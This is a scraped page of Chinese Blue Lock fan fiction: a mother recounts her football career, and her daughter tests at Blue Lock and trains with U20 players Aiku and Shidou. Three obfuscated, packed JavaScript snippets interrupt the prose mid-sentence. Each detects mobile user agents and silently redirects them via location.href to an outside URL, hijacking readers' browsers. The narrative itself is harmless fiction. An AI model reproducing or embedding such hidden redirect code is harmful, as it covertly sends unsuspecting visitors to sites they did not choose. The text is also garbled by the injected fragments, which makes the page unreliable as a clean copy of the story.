;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251826|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸红得像煮熟的虾子,又尴尬又沮丧,一句话也说不出来。我看着他那个样子……” 母亲眼中闪烁着温柔的光芒,“反而觉得特别可爱,特别真实。我没忍住,笑了出来。” 母亲的笑容温暖而明亮,仿佛那个夕阳下的瞬间从未褪色。“后来,我们就在一起了。在欧洲的那段日子,很美好。他踢球,我陪伴,看他的比赛,感受着那种纯粹的、为了梦想拼搏的激情。那是我第一次,真正被足球这项运动本身打动,不是因为它是什么世界第一运动,而是因为它承载着一个人的热爱、汗水和最真实的情感。” 她的声音低沉下来,带着一丝不易察觉的感慨:“再后来,我回到了日本。很奇怪,心里像是被种下了一颗种子。我开始觉得,或许……我也可以试试?不是为了任何人,只是想试试自己能不能做到。我开始自己找场地,找教练,像个初学者一样,从最基础的颠球、传球开始练起。” 母亲的目光看向窗外无垠的夜空,仿佛在凝视着那段独自努力的岁月:“没想到,上手竟然意外的顺利。球感、协调性、甚至对场上局势的阅读能力,都像是被唤醒了一样。我很快被正规的俱乐部看中,从地方联赛一路打上去,再到全国联赛……再后来,我入选了国家队,开始代表日本参加国际比赛,从亚洲走向世界。” 她的语气平静,却蕴含着惊涛骇浪般的经历。 “那段时间很忙,非常忙。满世界飞,训练、比赛、恢复……几乎没有停歇的时候。” 母亲的声音里多了一丝不易察觉的歉疚,她的目光落回我身上,带着深深的温柔,“你出生后,我短暂地离开过赛场。但心里那份对绿茵场的热爱和对更高目标的渴望,始终没有熄灭。我选择了回归。那意味着要付出更多,要更严格地要求自己,也意味着……要牺牲掉很多陪伴你的时间。” 她微微停顿,似乎在整理情绪:“我一直很担心你,爱。担心你孤单,担心你因为我们的缺席而难过。所以拜托了你舅舅,请他多照顾你,多给你一些家的温暖。我记得你小时候,最喜欢趴在他背上,让他带你去买冰淇淋……” 母亲眼中泛起一丝水光,很快又被她压了下去。 “后来……在你九岁那年,”母亲的声音陡然变得坚定而充满力量,仿佛回到了那个万众瞩目的赛场,“在德国,女足世界杯的决赛场上,伤停补时最后时刻……我们与美国队持平。一个角球机会,队友的头球摆渡飞向禁区外……我就在那个位置。” 她的指尖无意识地在桌面上轻轻一点,如同当年触球的那个瞬间,“没有犹豫,凌空,抽射!” 母亲的眼神瞬间变得无比锐利,仿佛穿透了时空,再次锁定了那个飞向死角的足球!“球进了!绝杀!我们赢了!日本队,亚洲的第一个女足世界杯冠军!” 即使时隔多年,即使只是听母亲平静地叙述,我依然能感受到那一刻席卷全球的疯狂和足以让灵魂燃烧的荣耀!帝襟安里更是激动得双手紧握,褐红色的眼睛里充满了对偶像无与伦比的崇拜光芒! “拿到那个奖杯,捧起那座大力神杯……”母亲的声音恢复了平静,带着一种夙愿得偿的满足和释然,“我知道,我在绿茵场上想要追寻的,已经拿到了。没有遗憾了。所以,在那之后不久,我就正式宣布退役,计划回归家庭,把更多的时间留给你,留给我们这个家。” 她温柔地看着我,“我希望能弥补那些错过的时光。” 餐厅里一片寂静。窗外的夜色温柔地包裹着一切,远处训练场上的灯光依旧明亮。母亲的故事,像一条静静流淌的长河,从懵懂无知的岸边出发,途经热烈燃烧的青春,穿过荣耀与汗水交织的巅峰,最终汇入充满温情的港湾。 母亲端起茶杯,喝完了最后一口已经凉透的麦茶,目光再次落在我身上,带着洞悉一切的温柔和鼓励:“所以,爱,我想告诉你的是,人生的路,没有固定的模板。热爱,往往不是与生俱来的,它可能在一个最意想不到的时刻,以一种最意想不到的方式,突然击中你。” 她的指尖轻轻点了点桌上那份印着糸师凛冰冷眼神资料的蓝色文件夹。 “就像现在,这条名为‘足球’、名为‘蓝色监狱’的大路,它就在你面前铺开了。它可能崎岖,可能残酷,可能充满了未知的挑战和无法预料的荆棘。它可能通向荣耀的顶峰,也可能只是人生旅途上一段独特的风景。” 母亲的声音轻柔而坚定,如同月光下的溪流,“我并不强求你立刻走上它,或者一定要在上面走出多远。我只是希望你知道,如果你心里有那么一丝好奇,有那么一点被刚才玲王他们的热情、被凪那孩子留下的‘小剪’……如果你心底有那么一丝微弱的声音在问‘我能不能也试试看?’……” 她微微倾身,那双沉淀着智慧与温柔的湛蓝眼眸,如同最深沉的夜空,包容着一切可能。 “那么,不妨去试试看。” 母亲的声音如同最轻柔的羽毛,却重重地落在我心上: “当然,最后的选择权,永远在你。” 她的话语落下,像一颗投入心湖的石子,激起的涟漪无声却汹涌地扩散开来。帝襟安里屏住了呼吸,褐红色的眼睛紧张而期待地看着我。员工餐厅里只剩下中央空调微弱的气流声,远处训练场上隐约传来的哨音和呼喊,此刻也仿佛被隔绝在了另一个世界。 我低下头,视线落在自己放在桌面的手上。指关节因为下午的“特训”还残留着一点用力过猛后的微酸,掌心和指腹的皮肤似乎也比以前粗糙了些许。脑海里不受控制地闪过那些画面:玲王在夕阳下挥舞邀请函时眼中燃烧的火焰;凪懒洋洋递出“小剪”时那副理所当然的“托付”模样;凯撒那隔着屏幕都极具压迫感的冰蓝眼眸和那句“瞄准死角”;还有母亲讲述中,父亲年轻时从压扁的花束里抬起头,那张混合着尴尬和无比真挚的、通红的脸…… 一条路,真的就在眼前铺开了。它叫足球,也叫“蓝色监狱”。它通向哪里?是玲王和凪正在经历的、充满残酷竞争和未知进化的荆棘丛林?还是像母亲曾经走过的,充满汗水、泪水与极致荣耀的巅峰之路?亦或是……仅仅作为一段独特的体验,一种挑战自我的尝试? 心脏在胸腔里沉重而有力地跳动,每一次搏动都像是在叩问那个问题:试试看? 我抬起头,迎上母亲温柔而包容的目光,嘴唇动了动,却发不出任何声音。喉咙干涩得厉害,那个简单的“好”字或者“不”字,仿佛有千钧重。餐厅柔和的灯光下,那份印着糸师凛冰冷眼神的蓝色文件夹静静地躺在桌上,像一扇通往未知世界的门。 27. 天赋 我想要试试打开那扇门。 “…我想试试。” 这个念头像一颗投入平静湖面的石子,漾开的涟漪无声却坚定地扩散开来,瞬间盖过了所有犹豫和嘈杂。帝襟安里褐红色的眼眸倏地亮起,如同点燃的火星,她几乎是立刻从座位上弹了起来,声音因为激动而微微发颤:“太好了!清田小姐!那……那我们现在就去测试中心?基础体能和球感测试!很快的!绘心先生设计的评估系统非常高效!” 她语速飞快,褐红色的短发随着动作轻轻跳跃,那份对足球事业的热忱和发现“璞玉”的兴奋感毫不掩饰。 母亲坐在对面,脸上是早已预料到的、带着欣慰和鼓励的温柔笑容。她优雅地端起茶杯,轻轻颔首:“去吧,爱。安里小姐会安排好的。” 她的目光沉静而包容,像一片深邃的海,承载着我所有的未知与可能。 *** 蓝色监狱的体能测试中心,冰冷得如同它的名字。巨大的空间被各种泛着金属光泽的仪器分割,空气中弥漫着消毒水和汗水混合的气息。帝襟安里熟练地在终端上操作着,调出测试项目。 “先来基础体能!” 她双眼放光,像最专业的教练,“清田小姐,听说你体能底子非常好?得过不少金奖?” “嗯。” 我点点头,活动着手腕脚腕。学生时代那些田径场上的奔跑、领奖台上的闪光灯,此刻都成了沉甸甸的底气。短跑爆发力、折返跑的敏捷度、垂直跳跃的高度……每一项测试,我都全力以赴。汗水很快浸湿了运动服的领口,但身体里沉睡已久的运动记忆被彻底唤醒,肌肉在熟悉的酸痛中爆发出惊人的能量。当最后一项——耐力跑(3000米)结束,我扶着膝盖微微喘息时,屏幕上跳出的综合评分已经远超帝襟安里的预期。 “哇哦!” 她看着数据,忍不住惊叹出声,褐红色的眼睛里充满了难以置信的惊喜,“这……这比我们预估的优秀线还要高出不少!清田小姐,你的身体素质绝对是一流的!这为踢球打下了完美的基础!” 她用力握了握拳,仿佛这成绩是她自己取得的一般。 短暂的休息后,来到了球感测试区。空旷的场地中央,孤零零地放着一个崭新的足球。 “试试颠球?” 帝襟安里递过球,语气带着鼓励和一丝不易察觉的期待,“放松就好,找找感觉。” 我接过球,熟悉的皮革触感和重量感传来。脚弓内侧轻轻一垫,球听话地弹起。一、二、三……动作自然而流畅,身体仿佛还残留着凯撒那些冰冷指令刻下的印记——“脚踝锁死”、“核心收紧”、“触球点精确”。内斯热切的鼓励似乎也在耳边回响:“Ai! Your touch is improving! (爱!你的触球在进步!)” 球在双脚之间轻盈地跳跃、滚动,从脚背到膝盖,再到肩膀,甚至尝试了几次不太熟练的头球。数字在帝襟安里手中的计数器上飞快地跳动。五十、一百、一百五十……身体进入了一种奇妙的韵律,呼吸平稳,目光追随着那颗跳动的黑白精灵,四周冰冷的仪器仿佛都消失了。 两百一十七! 当球终于因为一次轻微的力度失控而滚落在地时,帝襟安里看着计数器上的数字,嘴巴微张,褐红色的眼睛瞪得滚圆,仿佛看到了什么不可思议的景象。 “……两百一十七?” 她的声音带着难以置信的颤抖,抬起头,目光灼灼地盯着我,像是在重新审视一件稀世珍宝,“清田小姐……你……你之前真的没怎么系统练过球?就靠……自己摸索和……一些朋友的帮助?”她指的是显然是御影玲王和凪诚士郎。 我点点头,抹了把额头的汗:“嗯。以前最多也就颠过一百二十多个,对着轮胎练传球和射门多一点。” 凯撒那句“瞄准死角”的指令仿佛还在肌肉里回荡。 “这天赋……” 帝襟安里喃喃自语,随即猛地回过神来,脸上爆发出巨大的、混合着激动和职业兴奋的光芒,“太惊人了!这球感!这协调性!简直是天生的!来来来,再试试盘带绕杆和定点射门!” 接下来的测试印证了她的判断。在绘心甚八设计的复杂盘带路线中,我的动作虽不如那些从小浸淫此道的天才们娴熟华丽,但胜在高效稳定,重心转换流畅,空间感极佳,那些冰冷的障碍杆仿佛有了生命般被轻松绕过。最后来到射门区域,面对模拟门将的移动靶位,我回忆着凯撒那石破天惊的演示——“力量来自核心和腿部的鞭打”、“瞄准死角”。调整呼吸,支撑脚站稳,身体重心下沉,腰腹核心瞬间绷紧,摆动腿如同鞭子般狠狠抽出! 砰!砰!砰! 足球带着呼啸的风声,一次次精准地砸在靶位模拟的球门死角区域!虽然力量和角度比起凯撒那种怪物级别还有差距,但那份冷静和准星,让帝襟安里在一旁看得连连点头,褐红色的眼睛里异彩连连。 当最后一脚射门稳稳命中目标,帝襟安里几乎是冲了过来,脸上洋溢着发现宝藏般的巨大喜悦:“清田小姐!我……我真的不知道该说什么好了!你的球感、你的学习能力、你的射门准星……特别是结合你超强的体能基础!这绝对是踢足球的好苗子!而且是顶级的好苗子!” 她激动地抓住我的手臂,力道不小,“我马上!立刻!就把你的测试数据和评估报告整理好,汇报给绘心先生!我相信他一定会非常重视!蓝色监狱的大门,一定会为你打开的!这绝对能帮到你!” 看着她真挚而热切的眼神,那份纯粹的、为足球发现人才的喜悦,我心里也涌起一股暖流。“谢谢你,安里小姐。” 我真诚地道谢。没有她的引荐和此刻的肯定,这条路或许不会如此清晰地铺开在眼前。 *** 离开冰冷高效的测试中心,回到母亲身边时,她正和帝襟安里低声交谈着,脸上带着了然和欣慰的笑意。看到我回来,母亲放下手中的茶杯,目光温和地落在我身上:“感觉怎么样?” “嗯,安里小姐说……还不错。” 我点点头,脸颊因为运动和兴奋还有些微红。 “何止是还不错!” 帝襟安里立刻抢着补充,语气依旧激动,“清田夫人,您女儿的天赋真的太惊人了!绘心先生看到报告一定会……” 母亲微笑着抬手,示意她稍安勿躁,目光转向我,带着询问:“爱,既然开始了,想不想再多看看?U20那边的训练基地离这里不远,我正好也要过去一趟,看看那边的赞助项目进展。” 她的声音温和,像在提供一个轻松的选项,“那边的孩子都挺不错,氛围也很好。奥利弗和闪堂他们,都是很可靠的年轻人,说不定也能给你一些启发?” 奥利弗·爱空?那个沉稳可靠的异瞳后卫?闪堂秋人?那个像漂亮笨蛋狐狸的王牌前锋?母亲手机里那两个风格迥异的头像瞬间浮现在脑海。去看看日本年轻一代的顶尖力量是如何训练的?去看看玲王和凪未来可能遇到的对手和队友? 心底的好奇和一丝微妙的、想要了解更多这个世界的渴望,悄然探出头。我几乎没有犹豫,点了点头:“好。” *** 车子驶离蓝色监狱那森严的高墙电网,城市的灯火在窗外流淌。没过多久,便抵达了另一处规模更大、设施也明显更完善的训练基地——日本U20国家队的集训地。这里少了蓝色监狱那种刻意营造的、充满进化压力的冰冷窒息感,多了几分属于成熟梯队的秩序和……相对轻松的氛围。 在工作人员的引导下,我们穿过整洁明亮的走廊,走向灯火通明的室内训练场。还未走近,激烈的呼喊声、球鞋摩擦地板的吱嘎声、以及足球撞击墙面或球网的闷响便清晰传来,混合成一股充满活力的声浪。 推开厚重的隔音门,巨大的室内训练场瞬间映入眼帘。明亮的顶灯将人造草皮照得如同白昼,空气中弥漫着汗水和橡胶颗粒的气息。场地上,身着统一训练服的年轻球员们正分成几组进行着高强度的攻防演练。 我的目光下意识地搜寻着那两个熟悉的名字。很快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251827|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便在场地的核心区域锁定了目标。 一次快速的边路进攻被阻截,对方前锋试图起高球吊入禁区!就在皮球即将飞越防守队员头顶的瞬间,一个身影如同精准计算的磐石,拔地而起! 是奥利弗·爱空! 他高大的身躯在空中展现出完美的滞空和力量感,深色的发丝间挑染的墨绿在灯光下划过冷冽的光泽。他判断落点精准无比,颈部肌肉绷紧,额头如同重锤,狠狠顶中下落的足球!动作干净利落,充满力量与美感! 砰! 一声沉闷而响亮的撞击!足球如同被赋予了新的指令,划出一道清晰的抛物线,精准地飞向中场靠前的一片空档区域! 而那片空档处,一个橙红色的身影早已如同离弦之箭般启动!是闪堂秋人!他橙红色的短发如同燃烧的火焰,在高速奔跑中跳跃着,俊朗的脸上带着少年人特有的锐气和专注。他轻松卸下爱空这记势大力沉又精准无比的头球解围,面前瞬间一片开阔!单刀!直面门将! “闪堂!射门!” 场边有队友大声提醒。 闪堂秋人眼神一凝,调整步伐,支撑脚狠狠蹬地,身体大幅度打开,摆动腿带着全身的力量和速度,狠狠抽向足球! 这一脚,力量十足!气势惊人! 然而…… 足球如同出膛的炮弹,带着呼啸的风声,却以一个极其离谱的角度,高高地……越过了横梁!甚至飞出了训练场侧面的防护网!重重地砸在远处的墙壁上,发出一声巨大的闷响,然后无力地反弹落地。 空气仿佛凝固了那么零点几秒。 “啊——!!!” 闪堂秋人发出一声懊恼到极点的惨叫,双手抱头,用力抓着自己那头耀眼的橙红短发,原本充满自信的俊脸瞬间垮了下来,写满了沮丧和难以置信,“又歪了!怎么会这样!明明感觉很好的!” 周围的队友们反应各异。有人忍不住笑出声,有人无奈摇头,更多的人则立刻围了上去。 “喂喂!闪堂!别在意别在意!” “角度!角度太追求力量了!” “下次压低点!打近角!” “运气问题!下次一定进!” 七嘴八舌的安慰和略带调侃的指导声瞬间将闪堂秋人淹没。他像个做错事的大型犬,耷拉着脑袋,橙红的眼睛里充满了委屈和自我怀疑,嘴里还在小声嘟囔着:“可是……感觉真的很好啊……力量明明很足的……” 就在这时,完成了那次精彩解围的爱空也快步走了过来。他脸上带着沉稳可靠的神情,异色的双瞳在灯光下显得格外深邃。他显然是想安慰一下沮丧的王牌搭档,伸出手,准备像往常一样,拍拍闪堂的肩膀,说几句“下次再来”、“机会还有”之类稳定军心的话。 然而,就在他的手即将搭上闪堂肩膀的瞬间—— 爱空那双仿佛能洞察一切的眼眸,极其敏锐地捕捉到了训练场入口处,站在阴影里的几道身影。他的动作瞬间顿住,异色瞳中闪过一丝清晰的惊讶,随即化作了温和有礼的笑意。 “清田夫人?” 爱空沉稳的声音穿透了场上的喧闹,带着一丝恰到好处的意外和尊敬。他收回了原本要拍向闪堂的手,转而朝着我们的方向,微微颔首致意。 这一声,如同按下了暂停键。 原本围在闪堂身边七嘴八舌安慰他的队友们,瞬间安静了下来,齐刷刷地顺着爱空的目光看了过来。闪堂秋人更是猛地抬起了头!那张写满沮丧的俊脸,在看清入口处站着的母亲时,瞬间被巨大的惊讶和一种……仿佛见到偶像般的紧张感取代!他橙红的眼睛睁得溜圆,连刚才射飞单刀的懊恼都暂时抛到了九霄云外。 母亲微笑着,对爱空和看过来的球员们点了点头,仪态从容优雅。而我,站在母亲身侧,能清晰地感受到无数道好奇、探究的目光瞬间聚焦在自己身上。训练场上刚刚还弥漫的激烈对抗气息,此刻被一种微妙的、带着恭敬和好奇的寂静所取代。 28. u20 我不知道他们的崇拜来源于何。是对于母亲的球技还是其他方面,无从得知。 闪堂秋人明显呆滞了一瞬,那双漂亮的橙红色眼睛眨了眨,像被按了暂停键的华丽玩偶。紧接着,仿佛有根无形的弦在他体内猛地绷紧又松开!他几乎是原地弹跳了一下,手忙脚乱地整理了一下并不存在的衣领褶皱,然后猛地一个超过九十度的深鞠躬,那头橙红的短发随着动作剧烈晃动,响亮得近乎夸张的声音瞬间响彻了整个训练馆: “好久不见!清田夫人!!!” 声音洪亮,带着毫不掩饰的激动和一丝不易察觉的紧张,连远处角落里正在做拉伸的队员都好奇地看了过来。 母亲显然被这过于隆重的“问候”弄得莞尔一笑,她优雅地抬手虚扶了一下,声音温和带着安抚的力量:“快起来,秋人君,不用这么见外。” 她目光转向训练场上所有投来好奇视线的年轻面孔,脸上挂着得体又亲切的笑容,声音不大却清晰地传到每个人耳中,“打扰大家训练了。我是清田美纪,这位是我的女儿,清田爱。今天过来主要是看看U20这边的训练和后勤保障情况,顺便带她感受一下顶尖青年梯队的氛围。” 爱空已经从容地走了过来,他身姿挺拔,沉稳的气质在略显喧闹的训练场上如同定海神针。那双异色的眼瞳——深邃祖母绿与神秘紫罗兰——带着温和的笑意,先是礼貌地向母亲再次点头致意,随即目光精准地落在我脸上,带着一种恰到好处的探究和欣赏。 “这位就是清田小姐吗?” 他的声音如同温润的玉石,带着令人舒适的磁性,“刚才就觉得眉眼间与清田夫人十分相似,气质也一样的出众。” 他微微颔首,动作绅士而自然,“幸会,我是奥利弗·爱空。” 没有人会不喜欢这样真诚又得体的赞美。母亲脸上的笑意更深了,显然很欣赏这个沉稳可靠的后辈:“爱空君的眼光还是一如既往的好。” 她侧头看了我一眼,带着点小小的骄傲,“没错,正是小女。” 我连忙微微躬身:“你好,爱空君,我是清田爱。请多指教。” 近距离面对这位U20的定海神针,那份超越年龄的沉稳气场确实让人心生好感。 母亲顺势接上话头,对着爱空和已经直起身、脸上依旧带着兴奋红晕的闪堂秋人说道:“这孩子最近刚开始接触足球,兴趣挺浓。这次带她过来,也是想让她多看看、多感受。如果不介意的话,” 她的目光扫过整个训练场,“让她在旁边观摩学习一下?当然,” 她看向爱空,语气带着一丝商量的意味,“如果你们这些经验丰富的前辈有空,能稍微指点她一下,那就再好不过了。” “当然没问题!包在我身上!” 还没等身为队长的爱空开口,旁边的闪堂秋人已经像被点燃的火箭筒,猛地挺直了腰板,橙红的眼睛亮得惊人,如同两颗燃烧的小太阳。他用力拍了一下自己的胸口,发出“啪”的一声脆响,脸上是混合着巨大荣幸和不容置疑的决心的表情,声音洪亮地宣布,“清田夫人!请您放心!赌上我身为U20王牌前锋的尊严!保证圆满完成您交代的任务!绝对让清田小姐满意!” 我看着他这副打了鸡血的模样,内心默默扶额。这家伙……激动得有点过头了吧?仅仅是因为我母亲的一句话?这反应……与其说是对足球前辈的敬重,不如说更像是……狂热粉丝见到了本命偶像?我脑海里瞬间闪过舅舅家那只只要看到我拿出狗粮罐子就兴奋得上蹿下跳、疯狂摇尾巴的柴犬小丸子。嗯,相似度极高。看来母亲在这位“漂亮笨蛋”王牌心里的地位,可能比我想象的还要特殊。 “既然秋人君这么有信心,那我就放心了。” 母亲显然也被闪堂这过于直白又充满干劲的宣言逗笑了,她轻轻拍了拍我的肩膀,眼神温和又带着点鼓励,“爱,你就在这里跟着秋人君和爱空君好好学习一下。别紧张,放松感受就好。妈妈去和教练组那边沟通点事情,晚点来接你。” 她说完,又对爱空和闪堂点头示意,便转身在工作人员的陪同下,优雅地走向了训练场另一侧的办公区域。 母亲的身影一消失在通道口,闪堂秋人身上那股被强行压制的犬型人格能量瞬间爆发!他几乎是立刻凑到我面前,那张过分英俊的脸上堆满了灿烂到晃眼的笑容,橙红的眼睛亮晶晶地盯着我,热情洋溢得仿佛我们不是初次见面,而是失散多年的亲兄妹。 这倒是让我想到了舅舅家的小丸子。 “清田小姐!你想练什么?尽管说!射门?盘带?传接球?还是想体验一下前锋的跑位意识?” 他语速飞快,如同连珠炮,“别看我刚才那脚有点小失误!那绝对是意外!意外!我的射门技术可是队里公认的顶级!来来来,我给你演示一下什么叫真正的死角必杀!” 他一边说,一边不由分说地做了个“这边请”的手势,目标明确地指向了训练场一角的射门练习区,那架势仿佛我不立刻答应就是看不起他这位“U20王牌”的尊严。 我被他的热情冲得有点懵,下意识地顺着他的方向走去,随口应道:“嗯……那就……简单练个射门吧。” 对着轮胎章鱼练了那么久,正好看看在真正的训练场环境下,凯撒那些冰冷指令的效果如何。 “Perfect!明智的选择!” 闪堂打了个响指,脸上是“包您满意”的专业表情。他动作利落地从旁边的球筐里捞出一个足球,用脚熟练地颠了两下,然后摆放在禁区弧顶靠右的位置。他退后几步,调整呼吸,脸上的笑容收敛,换上了属于射门者的专注。 “看好了!清田小姐!支撑脚的位置!身体重心的转移!还有最关键的核心发力!鞭腿!触球点!” 他一边快速讲解着要点,一边启动!动作流畅而充满力量感,支撑脚蹬地,身体大幅度打开,摆动腿如同战斧般狠狠抽出! 砰!!! 一声闷响!足球化作一道凌厉的白线,带着强烈的旋转,精准无比地轰进了球门左上角的绝对死角!球网被扯得向后高高扬起! “Yes!” 闪堂用力握拳挥了一下,脸上是毫不掩饰的得意,橙红的眼睛闪烁着“看吧!这才是我的实力!”的光芒,刚才单刀打飞的阴霾一扫而空。他转过头,对我露出一个灿烂的笑容,“怎么样?很简单吧?清田小姐,你也来试试?” 我点点头,走到他刚才射门的位置。脚下的草皮带着训练场特有的、微微弹性的触感,球门显得比庭院里那个傻笑的轮胎章鱼要真实和庞大得多。我深吸一口气,回忆着凯撒的指令——锁死脚踝、核心收紧、鞭打腿部、瞄准死角。支撑脚站稳,身体重心下沉,腰腹绷紧,目光锁定球门左上角那个模拟门将难以企及的点位。 身体像被设定好的精密仪器,力量从核心传递,经由紧绷的腰腹和髋部,瞬间灌注到摆动腿上!脚踝如同焊死的精钢,正脚背狠狠地抽中足球中下部! 砰!!! 又是一声清脆的撞击!足球带着清晰的风声,划出一道略带外旋的弧线,如同被磁石吸引,精准地钻进了球门左上角!虽然力量和速度比起闪堂刚才那一脚还有差距,但角度刁钻,线路清晰! “哇——哦!!!” 闪堂秋人瞬间发出一声夸张的惊叹,橙红的眼睛瞪得溜圆,嘴巴微张,像看到了什么不可思议的事情,“进了!一次就进了!清田小姐!你这球感……比我想象的好太多了吧?!” 他几步跑过来,围着我上下打量,眼神里充满了发现新大陆般的惊奇,“刚才那下发力,动作很标准啊!触球点也找得很准!完全不像新手!你是不是偷偷练过?” 他这毫不吝啬的夸赞让我有点不好意思,正想解释一下自己只是对着轮胎练过几天,闪堂已经沉浸在了他“金牌教练”的角色里无法自拔,热情再次升级:“来来来!射门感觉这么好,试试角球怎么样?这可是我的强项!看我给你示范一个完美的弧线!” 他不由分说地捡起球,小跑着冲向角球区。 站在角旗杆旁,闪堂叉着腰,对着禁区里(虽然此刻空无一人)指指点点,一副运筹帷幄的大将风范。“看着啊!清田小姐!助跑节奏!支撑脚的位置!身体倾斜的角度!还有触球的部位!用脚内侧靠前一点的位置!搓球的底部!要让它旋转起来!划出一道美妙的弧线,绕过防守球员,精准地找到埋伏在禁区里的队友头顶!” 他讲解得激情四射,仿佛面前真有千军万马。 然后,他启动助跑,动作潇洒流畅,最后一步支撑脚狠狠踏在草皮上,身体大幅度倾斜,左脚脚内侧带着一个漂亮的搓球动作,狠狠地兜向足球底部! 足球应声而起,带着强烈的旋转,划出一道……嗯,相当诡异的弧线。它确实旋转了,也确实绕了弯,只是这弯绕得有点大,像喝醉了酒的风筝,飘飘悠悠地、在所有人错愕的目光注视下,直接飞出了底线!连边网都没碰到! “……” 空气安静了一瞬。 “可恶!” 闪堂的脸瞬间涨得通红,像熟透的番茄,他懊恼地抓了抓自己那头橙红的短发,对着空气狠狠挥了一下拳头,“失误!绝对是失误!再来一次!” 他不服气地又摆好一个球,眼神更加专注,甚至带着点凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251828|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠。助跑、支撑、摆腿、搓球!动作一气呵成,比刚才更加用力! 砰! 这一次,足球终于听话了!它带着强烈的旋转,划出一道清晰而饱满的弧线,如同精确制导的导弹,旋转着飞向小禁区中路一个极佳的落点! “漂亮!” 闪堂自己都忍不住喊了一声,脸上重新焕发光彩,刚才的懊恼一扫而空,得意洋洋地看向我,“看到了吗?清田小姐!这才是真正的角球!弧线!落点!完美!来,你也试试!别紧张,像我刚才那样……” 我走到角球区,感受着脚下的草皮和角旗杆的触感。脑海里闪过内斯那些关于“搓球底部”、“身体倾斜”、“弧线控制”的细致讲解。调整呼吸,助跑,支撑脚踩稳,身体向内侧倾斜,左脚脚内侧找准足球底部靠外侧的位置,带着一个向上提拉的搓球动作,狠狠发力! 足球带着清晰的旋转离地而起!它划出的弧线不如闪堂第二次那么夸张饱满,却更加稳定和内敛,带着一种精准的计算感,旋转着飞向禁区中路,落点不偏不倚,正是闪堂刚才示范的那个位置! 一次成功! “又进了!不是……又成了!” 闪堂激动得差点说错话,他用力拍了一下手,橙红的眼睛里充满了惊喜和……一种“不愧是我教出来”的巨大成就感,“清田小姐!你这学习能力也太强了吧!照这个进度下去,用不了多久就能上场比赛了!绝对没问题!” 他拍着胸脯,仿佛已经看到了我叱咤绿茵场的未来。 就在这时,一个带着明显戏谑的低沉嗓音慢悠悠地插了进来: “哦?是吗?闪堂。” 爱空不知何时已经走到了我们旁边,他双手抱胸,脸上挂着似笑非笑的表情,那双异色的眼瞳扫过闪堂,又落在我身上,最后慢悠悠地回到闪堂那张写满“快夸我”的脸上。“可我怎么觉得,清田小姐的失误率……似乎比你低不少啊?” 他刻意停顿了一下,加重了语气,“可能……不是你这个老师教得特别好的缘故哦?” 这轻飘飘的一句话,精准地戳中了闪堂的痛处。他脸上的得意瞬间僵住,像被踩了尾巴的猫,橙红的眼睛瞪向爱空,带着被拆穿的羞恼:“喂!爱空!你什么意思!我这叫……叫教学相长!清田小姐天赋好,那也是我这个教练引导得好!” 他急忙转向我,寻求认同,语气带着点委屈和急切,“对吧?清田小姐!我刚才示范得还是很到位的吧?特别是第二次那个角球!” 看着他这副急于证明自己、像只大型犬等待主人肯定的样子,我实在不忍心打击他的“教练”热情,只好忍着笑点点头:“嗯,示范得很清楚。特别是第二次那个弧线,很漂亮。” 这倒是实话。 听到我的肯定,闪堂立刻像打了胜仗的公鸡,挺直腰板,得意地朝爱空扬了扬下巴,脸上写满了“你看!当事人认证!” 爱空眼底的笑意更深了,那是一种看透一切、带着点促狭的玩味。他耸了耸肩,用一种“真拿你没办法”的语气,慢悠悠地继续拱火:“听见没?闪堂。人家清田小姐都这么说了——‘毕竟是王牌’。” 他故意拖长了“王牌”两个字的音调,带着明显的调侃,“你更得加把劲练球了,不然王牌的名号,可就要名不副实咯?” 这招效果拔群!闪堂秋人那张俊脸瞬间涨得更红了,混合着羞恼和被激起的斗志。“哼!练就练!让你看看什么才是真正的王牌水准!” 他像被点燃的炮仗,气呼呼地对着爱空哼了一声,然后真的转身就冲向球筐,捞起几个足球,像跟它们有仇似的,对着球门开始了一轮疯狂的加练!砰砰砰的射门声不绝于耳,带着一股要把球网射穿的狠劲儿。 看着闪堂那怒气冲冲、埋头苦练的背影,又看看旁边一脸“计划通”、眼底带着愉悦戏谑的爱空,我一时竟不知该作何反应。这位沉稳可靠的后卫队长……原来切开是黑的?这么热衷于逗弄自家王牌? 我和爱空面面相觑,气氛有点微妙的尴尬,又带着点心照不宣的好笑。训练场上其他队员似乎对这一幕也习以为常,只是投来善意的目光,继续着自己的训练。爱空那双异色的眼瞳里,刚才看闪堂热闹的戏谑神情还未完全褪去,如同平静湖面下潜藏的漩涡。他嘴角噙着一丝若有若无的笑意,目光转向我,然后,极其自然地抬手指了指训练场边缘一片相对安静的、放置着一些恢复器械和长椅的区域。 “清田小姐,” 